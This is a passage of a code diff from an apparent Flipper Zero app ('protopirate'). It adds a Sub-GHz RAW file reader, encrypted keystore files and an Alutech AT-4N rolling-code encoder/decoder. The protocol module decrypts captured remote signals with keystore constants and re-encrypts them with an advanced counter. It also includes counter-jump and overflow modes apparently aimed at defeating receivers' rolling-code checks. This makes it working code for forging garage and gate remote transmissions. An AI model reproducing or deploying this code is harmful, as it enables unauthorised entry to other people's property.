// if there is a comment character and we are at the beginning of a new line
|
||||
// do not accumulate comment data and reset the new_line flag
|
||||
accumulate = false;
|
||||
new_line = false;
|
||||
} else if(data == local_flipper_format_delimiter) {
|
||||
if(new_line) {
|
||||
// we are on a "new line" and found the delimiter
|
||||
// this can only be if we have previously found some kind of key, so
|
||||
// clear the data, set the flag that we no longer want to accumulate data
|
||||
// and reset the new_line flag
|
||||
furi_string_reset(key);
|
||||
accumulate = false;
|
||||
new_line = false;
|
||||
} else {
|
||||
// parse the delimiter only if we are accumulating data
|
||||
if(accumulate) {
|
||||
// we found the delimiter, move the rw pointer to the delimiter location
|
||||
// and signal that we have found something
|
||||
if(!stream_seek(
|
||||
stream, (int32_t)i - (int32_t)was_read, StreamOffsetFromCurrent)) {
|
||||
error = true;
|
||||
break;
|
||||
}
|
||||
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// just new symbol, reset the new_line flag
|
||||
new_line = false;
|
||||
if(accumulate) {
|
||||
// and accumulate data if we want
|
||||
furi_string_push_back(key, data);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(found || error) break;
|
||||
}
|
||||
|
||||
return found;
|
||||
}
|
||||
|
||||
static bool
|
||||
local_flipper_format_stream_seek_to_key(Stream* stream, const char* key, bool strict_mode) {
|
||||
bool found = false;
|
||||
FuriString* read_key;
|
||||
|
||||
read_key = furi_string_alloc();
|
||||
|
||||
while(!stream_eof(stream)) {
|
||||
if(local_flipper_format_stream_read_valid_key(stream, read_key)) {
|
||||
if(furi_string_cmp_str(read_key, key) == 0) {
|
||||
if(!stream_seek(stream, 2, StreamOffsetFromCurrent)) break;
|
||||
|
||||
found = true;
|
||||
break;
|
||||
} else if(strict_mode) {
|
||||
found = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
furi_string_free(read_key);
|
||||
|
||||
return found;
|
||||
}
|
||||
|
||||
static bool local_flipper_format_stream_get_value_count(
|
||||
Stream* stream,
|
||||
const char* key,
|
||||
uint32_t* count,
|
||||
bool strict_mode) {
|
||||
bool result = false;
|
||||
bool last = false;
|
||||
|
||||
FuriString* value;
|
||||
value = furi_string_alloc();
|
||||
|
||||
do {
|
||||
if(!local_flipper_format_stream_seek_to_key(stream, key, strict_mode)) break;
|
||||
*count = 0;
|
||||
|
||||
result = true;
|
||||
while(true) {
|
||||
if(!local_flipper_format_stream_read_value(stream, value, &last)) {
|
||||
result = false;
|
||||
break;
|
||||
}
|
||||
|
||||
*count = *count + 1;
|
||||
if(last) break;
|
||||
}
|
||||
|
||||
} while(false);
|
||||
|
||||
furi_string_free(value);
|
||||
return result;
|
||||
}
|
||||
|
||||
bool raw_file_reader_open(RawFileReader* reader, const char* file_path) {
|
||||
if(!reader || !file_path) return false;
|
||||
|
||||
raw_file_reader_close(reader);
|
||||
|
||||
reader->storage = furi_record_open(RECORD_STORAGE);
|
||||
reader->storage_opened = true;
|
||||
reader->ff = flipper_format_file_alloc(reader->storage);
|
||||
|
||||
if(!flipper_format_file_open_existing(reader->ff, file_path)) {
|
||||
FURI_LOG_E(TAG, "Failed to open file: %s", file_path);
|
||||
raw_file_reader_close(reader);
|
||||
return false;
|
||||
}
|
||||
|
||||
FuriString* temp_str = furi_string_alloc();
|
||||
uint32_t version = 0;
|
||||
|
||||
bool valid = false;
|
||||
do {
|
||||
if(!flipper_format_read_header(reader->ff, temp_str, &version)) {
|
||||
FURI_LOG_E(TAG, "Failed to read header");
|
||||
break;
|
||||
}
|
||||
|
||||
if(furi_string_cmp_str(temp_str, "Flipper SubGhz RAW File") != 0) {
|
||||
FURI_LOG_E(TAG, "Not a RAW file");
|
||||
break;
|
||||
}
|
||||
|
||||
if(!flipper_format_read_string(reader->ff, FF_PROTOCOL, temp_str)) {
|
||||
FURI_LOG_E(TAG, "Missing Protocol field");
|
||||
break;
|
||||
}
|
||||
|
||||
if(furi_string_cmp_str(temp_str, "RAW") != 0) {
|
||||
FURI_LOG_E(TAG, "Protocol is not RAW");
|
||||
break;
|
||||
}
|
||||
|
||||
valid = true;
|
||||
} while(false);
|
||||
|
||||
furi_string_free(temp_str);
|
||||
|
||||
if(!valid) {
|
||||
raw_file_reader_close(reader);
|
||||
return false;
|
||||
}
|
||||
|
||||
reader->buffer_count = 0;
|
||||
reader->buffer_index = 0;
|
||||
reader->file_finished = false;
|
||||
reader->current_level = true;
|
||||
|
||||
FURI_LOG_I(TAG, "Opened RAW file: %s", file_path);
|
||||
|
||||
reader->count = 0;
|
||||
uint32_t temp_count = 0;
|
||||
|
||||
while(local_flipper_format_stream_get_value_count(
|
||||
reader->ff->stream, "RAW_Data", &temp_count, reader->ff->strict_mode)) {
|
||||
//reader->file_finished = true;
|
||||
reader->count += temp_count;
|
||||
}
|
||||
flipper_format_rewind(reader->ff);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void raw_file_reader_close(RawFileReader* reader) {
|
||||
if(!reader) return;
|
||||
|
||||
if(reader->ff) {
|
||||
flipper_format_free(reader->ff);
|
||||
reader->ff = NULL;
|
||||
}
|
||||
|
||||
if(reader->storage_opened) {
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
reader->storage_opened = false;
|
||||
}
|
||||
|
||||
reader->storage = NULL;
|
||||
reader->buffer_count = 0;
|
||||
reader->buffer_index = 0;
|
||||
reader->count = 0;
|
||||
reader->file_finished = false;
|
||||
}
|
||||
|
||||
static bool raw_file_reader_load_chunk(RawFileReader* reader) {
|
||||
if(reader->file_finished) return false;
|
||||
|
||||
size_t to_read = (reader->count < RAW_READER_BUFFER_SIZE) ? reader->count :
|
||||
RAW_READER_BUFFER_SIZE;
|
||||
|
||||
if(!flipper_format_read_int32(reader->ff, "RAW_Data", reader->buffer, to_read)) {
|
||||
reader->file_finished = true;
|
||||
return false;
|
||||
}
|
||||
|
||||
reader->buffer_count = to_read;
|
||||
reader->buffer_index = 0;
|
||||
reader->count -= to_read;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool raw_file_reader_get_next(RawFileReader* reader, bool* level, uint32_t* duration) {
|
||||
if(!reader || !level || !duration) return false;
|
||||
|
||||
if(memmgr_get_free_heap() < 1024) {
|
||||
FURI_LOG_E(TAG, "Not enough memory to continue reading");
|
||||
return false;
|
||||
}
|
||||
|
||||
if(reader->buffer_index >= reader->buffer_count) {
|
||||
if(!raw_file_reader_load_chunk(reader)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
int32_t value = reader->buffer[reader->buffer_index++];
|
||||
|
||||
if(value >= 0) {
|
||||
*level = true;
|
||||
*duration = (uint32_t)value;
|
||||
} else {
|
||||
*level = false;
|
||||
*duration = (uint32_t)(-value);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool raw_file_reader_is_finished(RawFileReader* reader) {
|
||||
if(!reader) return true;
|
||||
return reader->file_finished && (reader->buffer_index >= reader->buffer_count);
|
||||
}
|
||||
#endif // ENABLE_SUB_DECODE_SCENE
|
||||
@@ -0,0 +1,29 @@
|
||||
#pragma once
|
||||
|
||||
#include "../protopirate_app_i.h"
|
||||
#ifdef ENABLE_SUB_DECODE_SCENE
|
||||
#include <furi.h>
|
||||
#include <storage/storage.h>
|
||||
#include <flipper_format/flipper_format.h>
|
||||
|
||||
#define RAW_READER_BUFFER_SIZE 512
|
||||
|
||||
typedef struct {
|
||||
Storage* storage;
|
||||
FlipperFormat* ff;
|
||||
int32_t buffer[RAW_READER_BUFFER_SIZE];
|
||||
size_t buffer_count;
|
||||
size_t buffer_index;
|
||||
uint32_t count;
|
||||
bool file_finished;
|
||||
bool current_level;
|
||||
bool storage_opened;
|
||||
} RawFileReader;
|
||||
|
||||
RawFileReader* raw_file_reader_alloc(void);
|
||||
void raw_file_reader_free(RawFileReader* reader);
|
||||
bool raw_file_reader_open(RawFileReader* reader, const char* file_path);
|
||||
void raw_file_reader_close(RawFileReader* reader);
|
||||
bool raw_file_reader_get_next(RawFileReader* reader, bool* level, uint32_t* duration);
|
||||
bool raw_file_reader_is_finished(RawFileReader* reader);
|
||||
#endif // ENABLE_SUB_DECODE_SCENE
|
||||
|
After Width: | Height: | Size: 448 B |
|
After Width: | Height: | Size: 385 B |
|
After Width: | Height: | Size: 3.5 KiB |
|
After Width: | Height: | Size: 1.1 KiB |
|
After Width: | Height: | Size: 994 B |
|
After Width: | Height: | Size: 3.5 KiB |
|
After Width: | Height: | Size: 1.1 KiB |
|
After Width: | Height: | Size: 171 B |
|
After Width: | Height: | Size: 95 B |
@@ -0,0 +1,32 @@
|
||||
Filetype: Flipper SubGhz Keystore File
|
||||
Version: 0
|
||||
Encryption: 1
|
||||
IV: 42 69 67 42 72 6F 74 68 72 57 61 74 63 68 65 73
|
||||
DDCCB3575BB076A57F94B6E31CB6FF6DE4AD7D020EBF225BB046D0AA202748FC
|
||||
B9AC4402F1119004DB4857C9986B97CAE8834B6356A01E405796004BE61FD583
|
||||
B68059DADBD99A913BE87005120503710728E0D85BD1BBCC5AB92DB86C5C8A70
|
||||
1B47835E16262394EA1A1AE54A5AB9CF05BFFFD6D4FB35C0F68EAF8D9F1256AC
|
||||
8F0D12248CD35A63A625E798D9743618F723338159B620C5960F10BBC28A7194
|
||||
4D638F8F7B87FAFA150731D67CC59C1D1C77D62991A6735054E63F0580B83BEA
|
||||
F19B69682FB1D65628074C1ED817BAC35B51A1A4977201B65BFEBBE14F436BB46E6108D6320BF4F67D14285A15119B5F
|
||||
0E5400DE76B4B737D9E86561328DD5FC06F5C7798666640EE143B05D228754CE
|
||||
4C5A993BCD310E4EE11E9AB0E092889798D48FA12F7633E254578FD88859E67C
|
||||
074FC9A36207CA20851708680C7AE7D680B1DE16DAF79C5A4502E5EF4F8A103E
|
||||
65F94C6C6FD191A7BB5FCFA77940145411C7588495417DEDD1B0B6CE771EE35F
|
||||
DE08B464B312A3190246EC46CE17A41874C07E14E652213E67FC028CF8DA2064
|
||||
0117D991241760F0E36136F4DB676DC1C87981DD201A66DC9031CD3543160E0824FF61B9126CDE7C580D999BD1BEF0BA
|
||||
3C6D9C324DB570278E7D67F73C01B2782BC2430C483933F7D90B7F543215A63B7A5064A1F5A27A240ABDFFA41F3099AA
|
||||
2A77CFCAEC76BBAF33AF9A84097351C2DD17FAE884CB1EDE762E3F130AB55614
|
||||
F6299EC2AF12AC0619AD8E2EBA39D92401D0C1C7045B0C0629DCD030FFDFFCEC
|
||||
1EB9B7D48E72A43A81BFD774943384C3DAAA99193F06C024E1480C0E72018E45
|
||||
16880430929593B97C8F5FEB23455550685ECC9CC2A6E43A1ED23ECF1FA8B95E
|
||||
36F6FD37E1728BF8F7411181F39C063942F4200341AEF70D8C7F5E75F9F4867CC474BB2B0A373D86859DA7FBD0576AEA
|
||||
84B20904AA979685846EA784C89C5AE3AAF1E9669B8B4D081061D863EFDB6C47
|
||||
3932EBA44E1A3B1C53AF210DAD5B78DB4EB6BEC9D138B6C1DCB6A681AAE5B383
|
||||
D94A3E8C9F9D74337660D49F3A39B0AFFB6F630EF879548A041FF0731558DC4F86FEDAEBD6AFC537A5C5307E450B9846
|
||||
54DC1CE43222E743F72C168AC66A818E5D4305A63C90602DC67095A41A6A4B5FA2F484BCA174A686CFCD256AA88A9213
|
||||
A598EE96C92DA9EF21406E1705D4C6527D7651FB6C9AB0750615937C2AECDD5B
|
||||
38AA52A3EC8EC608C990D13F2FE15977C7926A355DCE89509429AD2347123CB5
|
||||
E6D2647DBF847DB721263B5BD2DD355F6970228E19AC0B69AE8A669C6E2F14E7
|
||||
423BB75987A636BD8696CA11E511BCD99CFC7D8E557FD18E04DCF52DD51B2E4C
|
||||
F2BA90DB6F8298F92C88B5F7FB274B8650FE84C3E9542AB8B9744F2FD9BA277B9FBB9B17026FF3BF364AD625F28FDE66
|
||||
@@ -0,0 +1,6 @@
|
||||
Filetype: Flipper SubGhz Keystore RAW File
|
||||
Version: 0
|
||||
Encryption: 1
|
||||
IV: B9 A8 C0 F6 9A 78 B1 CB 3E A7 69 0E 86 53 9F A7
|
||||
Encrypt_data: RAW
|
||||
BA2A8B783B6DB3E17DEF07EA2AE0104FAF722A07775E96338D734FFD0EA8BB29BF1A5A6451B1784AE2B51D967EFB45EAFAE2C20D5721553727C026D4009BBCB0
|
||||
@@ -0,0 +1,13 @@
|
||||
#pragma once
|
||||
|
||||
#include <gui/icon.h>
|
||||
|
||||
extern const Icon I_DolphinDone_80x58;
|
||||
extern const Icon I_DolphinWait_59x54;
|
||||
extern const Icon I_Lock_7x8;
|
||||
extern const Icon I_PP_scanning_123x52;
|
||||
extern const Icon I_PP_scanning_ext_123x52;
|
||||
extern const Icon I_Pin_back_arrow_10x8;
|
||||
extern const Icon I_WarningDolphin_45x42;
|
||||
extern const Icon I_protopirate_10px;
|
||||
extern const Icon I_subghz_10px;
|
||||
@@ -0,0 +1,931 @@
|
||||
#include "alutech_at_4n.h"
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
|
||||
#include <lib/subghz/blocks/custom_btn_i.h>
|
||||
|
||||
#define TAG "SubGhzProtocoAlutech_at_4n"
|
||||
|
||||
#define SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE 0xFFFFFFFFFFFFFFFF
|
||||
#define SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES 32
|
||||
|
||||
//variable used to bypass CounterMode settings if user just change Counter or Button
|
||||
static bool bypass = false;
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_alutech_at_4n_const = {
|
||||
.te_short = 400,
|
||||
.te_long = 800,
|
||||
.te_delta = 140,
|
||||
.min_count_bit_for_found = 72,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderAlutech_at_4n {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
uint32_t crc;
|
||||
uint16_t header_count;
|
||||
|
||||
const char* alutech_at_4n_rainbow_table_file_name;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderAlutech_at_4n {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
const char* alutech_at_4n_rainbow_table_file_name;
|
||||
uint32_t crc;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
Alutech_at_4nDecoderStepReset = 0,
|
||||
Alutech_at_4nDecoderStepCheckPreambula,
|
||||
Alutech_at_4nDecoderStepSaveDuration,
|
||||
Alutech_at_4nDecoderStepCheckDuration,
|
||||
} Alutech_at_4nDecoderStep;
|
||||
|
||||
static uint8_t alutech_at4n_counter_mode = 0;
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_alutech_at_4n_decoder = {
|
||||
.alloc = subghz_protocol_decoder_alutech_at_4n_alloc,
|
||||
.free = subghz_protocol_decoder_alutech_at_4n_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_alutech_at_4n_feed,
|
||||
.reset = subghz_protocol_decoder_alutech_at_4n_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_alutech_at_4n_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_alutech_at_4n_serialize,
|
||||
.deserialize = subghz_protocol_decoder_alutech_at_4n_deserialize,
|
||||
.get_string = subghz_protocol_decoder_alutech_at_4n_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_alutech_at_4n_encoder = {
|
||||
.alloc = subghz_protocol_encoder_alutech_at_4n_alloc,
|
||||
.free = subghz_protocol_encoder_alutech_at_4n_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_alutech_at_4n_deserialize,
|
||||
.stop = subghz_protocol_encoder_alutech_at_4n_stop,
|
||||
.yield = subghz_protocol_encoder_alutech_at_4n_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_alutech_at_4n = {
|
||||
.name = SUBGHZ_PROTOCOL_ALUTECH_AT_4N_NAME,
|
||||
.type = SubGhzProtocolTypeDynamic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
|
||||
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
|
||||
|
||||
.decoder = &subghz_protocol_alutech_at_4n_decoder,
|
||||
.encoder = &subghz_protocol_alutech_at_4n_encoder,
|
||||
};
|
||||
|
||||
static void subghz_protocol_alutech_at_4n_remote_controller(
|
||||
SubGhzBlockGeneric* instance,
|
||||
uint8_t crc,
|
||||
const char* file_name);
|
||||
|
||||
void* subghz_protocol_encoder_alutech_at_4n_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderAlutech_at_4n* instance =
|
||||
malloc(sizeof(SubGhzProtocolEncoderAlutech_at_4n));
|
||||
|
||||
instance->base.protocol = &subghz_protocol_alutech_at_4n;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
instance->encoder.repeat = 3;
|
||||
instance->encoder.size_upload = 512;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
|
||||
instance->alutech_at_4n_rainbow_table_file_name =
|
||||
subghz_environment_get_alutech_at_4n_rainbow_table_file_name(environment);
|
||||
if(instance->alutech_at_4n_rainbow_table_file_name) {
|
||||
FURI_LOG_I(
|
||||
TAG, "Loading rainbow table from %s", instance->alutech_at_4n_rainbow_table_file_name);
|
||||
}
|
||||
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_alutech_at_4n_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderAlutech_at_4n* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_alutech_at_4n_stop(void* context) {
|
||||
SubGhzProtocolEncoderAlutech_at_4n* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_alutech_at_4n_yield(void* context) {
|
||||
SubGhzProtocolEncoderAlutech_at_4n* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
/**
|
||||
* Read bytes from buffer array with rainbow table
|
||||
* @param buffer Pointer to decrypted magic data buffer
|
||||
* @param number_alutech_at_4n_magic_data number in the array
|
||||
* @return alutech_at_4n_magic_data
|
||||
*/
|
||||
static uint32_t subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(
|
||||
uint8_t* buffer,
|
||||
uint8_t number_alutech_at_4n_magic_data) {
|
||||
uint32_t address = number_alutech_at_4n_magic_data * sizeof(uint32_t);
|
||||
uint32_t alutech_at_4n_magic_data = 0;
|
||||
|
||||
for(size_t i = address; i < (address + sizeof(uint32_t)); i++) {
|
||||
alutech_at_4n_magic_data = (alutech_at_4n_magic_data << 8) | buffer[i];
|
||||
}
|
||||
|
||||
return alutech_at_4n_magic_data;
|
||||
}
|
||||
|
||||
static uint8_t subghz_protocol_alutech_at_4n_crc(uint64_t data) {
|
||||
uint8_t* p = (uint8_t*)&data;
|
||||
uint8_t crc = 0xff;
|
||||
for(uint8_t y = 0; y < 8; y++) {
|
||||
crc = crc ^ p[y];
|
||||
for(uint8_t i = 0; i < 8; i++) {
|
||||
if((crc & 0x80) != 0) {
|
||||
crc <<= 1;
|
||||
crc ^= 0x31;
|
||||
} else {
|
||||
crc <<= 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
return crc;
|
||||
}
|
||||
|
||||
static uint8_t subghz_protocol_alutech_at_4n_decrypt_data_crc(uint8_t data) {
|
||||
uint8_t crc = data;
|
||||
for(uint8_t i = 0; i < 8; i++) {
|
||||
if((crc & 0x80) != 0) {
|
||||
crc <<= 1;
|
||||
crc ^= 0x31;
|
||||
} else {
|
||||
crc <<= 1;
|
||||
}
|
||||
}
|
||||
return ~crc;
|
||||
}
|
||||
|
||||
static uint64_t subghz_protocol_alutech_at_4n_decrypt(uint64_t data, const char* file_name) {
|
||||
// load and decrypt rainbow table from file to buffer array in RAM
|
||||
if(!file_name) return SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE;
|
||||
|
||||
uint8_t buffer[SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES] = {0};
|
||||
uint8_t* buffer_ptr = (uint8_t*)&buffer;
|
||||
|
||||
if(subghz_keystore_raw_get_data(
|
||||
file_name, 0, buffer, SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES)) {
|
||||
} else {
|
||||
return SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE;
|
||||
}
|
||||
|
||||
uint8_t* p = (uint8_t*)&data;
|
||||
uint32_t data1 = p[0] << 24 | p[1] << 16 | p[2] << 8 | p[3];
|
||||
uint32_t data2 = p[4] << 24 | p[5] << 16 | p[6] << 8 | p[7];
|
||||
uint32_t data3 = 0;
|
||||
uint32_t magic_data[] = {
|
||||
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 0),
|
||||
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 1),
|
||||
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 2),
|
||||
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 3),
|
||||
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 4),
|
||||
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 5)};
|
||||
|
||||
uint32_t i = magic_data[0];
|
||||
do {
|
||||
data2 = data2 -
|
||||
((magic_data[1] + (data1 << 4)) ^ ((magic_data[2] + (data1 >> 5)) ^ (data1 + i)));
|
||||
data3 = data2 + i;
|
||||
i += magic_data[3];
|
||||
data1 =
|
||||
data1 - ((magic_data[4] + (data2 << 4)) ^ ((magic_data[5] + (data2 >> 5)) ^ data3));
|
||||
} while(i != 0);
|
||||
|
||||
p[0] = (uint8_t)(data1 >> 24);
|
||||
p[1] = (uint8_t)(data1 >> 16);
|
||||
p[3] = (uint8_t)data1;
|
||||
p[4] = (uint8_t)(data2 >> 24);
|
||||
p[5] = (uint8_t)(data2 >> 16);
|
||||
p[2] = (uint8_t)(data1 >> 8);
|
||||
p[6] = (uint8_t)(data2 >> 8);
|
||||
p[7] = (uint8_t)data2;
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
static uint64_t subghz_protocol_alutech_at_4n_encrypt(uint64_t data, const char* file_name) {
|
||||
// load and decrypt rainbow table from file to buffer array in RAM
|
||||
if(!file_name) return SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE;
|
||||
|
||||
uint8_t buffer[SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES] = {0};
|
||||
uint8_t* buffer_ptr = (uint8_t*)&buffer;
|
||||
|
||||
if(subghz_keystore_raw_get_data(
|
||||
file_name, 0, buffer, SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES)) {
|
||||
} else {
|
||||
return SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE;
|
||||
}
|
||||
|
||||
uint8_t* p = (uint8_t*)&data;
|
||||
uint32_t data1 = 0;
|
||||
uint32_t data2 = p[0] << 24 | p[1] << 16 | p[2] << 8 | p[3];
|
||||
uint32_t data3 = p[4] << 24 | p[5] << 16 | p[6] << 8 | p[7];
|
||||
uint32_t magic_data[] = {
|
||||
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 6),
|
||||
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 4),
|
||||
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 5),
|
||||
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 1),
|
||||
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 2),
|
||||
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 0)};
|
||||
|
||||
do {
|
||||
data1 = data1 + magic_data[0];
|
||||
data2 = data2 + ((magic_data[1] + (data3 << 4)) ^
|
||||
((magic_data[2] + (data3 >> 5)) ^ (data1 + data3)));
|
||||
data3 = data3 + ((magic_data[3] + (data2 << 4)) ^
|
||||
((magic_data[4] + (data2 >> 5)) ^ (data1 + data2)));
|
||||
} while(data1 != magic_data[5]);
|
||||
p[0] = (uint8_t)(data2 >> 24);
|
||||
p[1] = (uint8_t)(data2 >> 16);
|
||||
p[3] = (uint8_t)data2;
|
||||
p[4] = (uint8_t)(data3 >> 24);
|
||||
p[5] = (uint8_t)(data3 >> 16);
|
||||
p[2] = (uint8_t)(data2 >> 8);
|
||||
p[6] = (uint8_t)(data3 >> 8);
|
||||
p[7] = (uint8_t)data3;
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
static bool subghz_protocol_alutech_at_4n_gen_data(
|
||||
SubGhzProtocolEncoderAlutech_at_4n* instance,
|
||||
uint8_t btn) {
|
||||
uint64_t data = subghz_protocol_blocks_reverse_key(instance->generic.data, 64);
|
||||
|
||||
data = subghz_protocol_alutech_at_4n_decrypt(
|
||||
data, instance->alutech_at_4n_rainbow_table_file_name);
|
||||
uint8_t crc = data >> 56;
|
||||
if(crc == subghz_protocol_alutech_at_4n_decrypt_data_crc((uint8_t)((data >> 8) & 0xFF))) {
|
||||
instance->generic.btn = (uint8_t)data & 0xFF;
|
||||
instance->generic.cnt = (uint16_t)(data >> 8) & 0xFFFF;
|
||||
instance->generic.serial = (uint32_t)(data >> 24) & 0xFFFFFFFF;
|
||||
}
|
||||
|
||||
// if we change counter/button in SignalSettings menu then we must bypass counter_modes, just gen and save signal file.
|
||||
if(subghz_block_generic_global.cnt_need_override) bypass = true;
|
||||
|
||||
if((alutech_at4n_counter_mode == 0) || bypass) {
|
||||
// Check for OFEX (overflow experimental) mode
|
||||
if((furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) || bypass) {
|
||||
bypass = false;
|
||||
// standart counter mode. PULL data from subghz_block_generic_global variables
|
||||
if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
|
||||
// if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
|
||||
if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFF) {
|
||||
instance->generic.cnt = 0;
|
||||
} else {
|
||||
instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
|
||||
}
|
||||
}
|
||||
} else {
|
||||
//OFFEX mode
|
||||
if((instance->generic.cnt + 0x1) > 0xFFFF) {
|
||||
instance->generic.cnt = 0;
|
||||
} else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
|
||||
instance->generic.cnt = 0xFFFE;
|
||||
} else {
|
||||
instance->generic.cnt++;
|
||||
}
|
||||
}
|
||||
} else if(alutech_at4n_counter_mode == 1) {
|
||||
// Mode 1
|
||||
// 0000 / 0001 / FFFE / FFFF
|
||||
if((instance->generic.cnt + 0x1) > 0xFFFF) {
|
||||
instance->generic.cnt = 0;
|
||||
} else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
|
||||
instance->generic.cnt = 0xFFFE;
|
||||
} else {
|
||||
instance->generic.cnt++;
|
||||
}
|
||||
} else {
|
||||
// Mode 2
|
||||
// 0x0000 / 0x0001 / 0x0002 / 0x0003 / 0x0004 / 0x0005
|
||||
if(instance->generic.cnt >= 0x0005) {
|
||||
instance->generic.cnt = 0;
|
||||
} else {
|
||||
instance->generic.cnt++;
|
||||
}
|
||||
}
|
||||
crc = subghz_protocol_alutech_at_4n_decrypt_data_crc((uint8_t)(instance->generic.cnt & 0xFF));
|
||||
data = (uint64_t)crc << 56 | (uint64_t)instance->generic.serial << 24 |
|
||||
(uint32_t)instance->generic.cnt << 8 | btn;
|
||||
|
||||
data = subghz_protocol_alutech_at_4n_encrypt(
|
||||
data, instance->alutech_at_4n_rainbow_table_file_name);
|
||||
crc = subghz_protocol_alutech_at_4n_crc(data);
|
||||
instance->generic.data = subghz_protocol_blocks_reverse_key(data, 64);
|
||||
instance->crc = subghz_protocol_blocks_reverse_key(crc, 8);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool subghz_protocol_alutech_at_4n_create_data(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
uint32_t serial,
|
||||
uint8_t btn,
|
||||
uint16_t cnt,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderAlutech_at_4n* instance = context;
|
||||
instance->generic.serial = serial;
|
||||
instance->generic.cnt = cnt;
|
||||
instance->generic.data_count_bit = 72;
|
||||
if(subghz_protocol_alutech_at_4n_gen_data(instance, btn)) {
|
||||
if((subghz_block_generic_serialize(&instance->generic, flipper_format, preset) !=
|
||||
SubGhzProtocolStatusOk)) {
|
||||
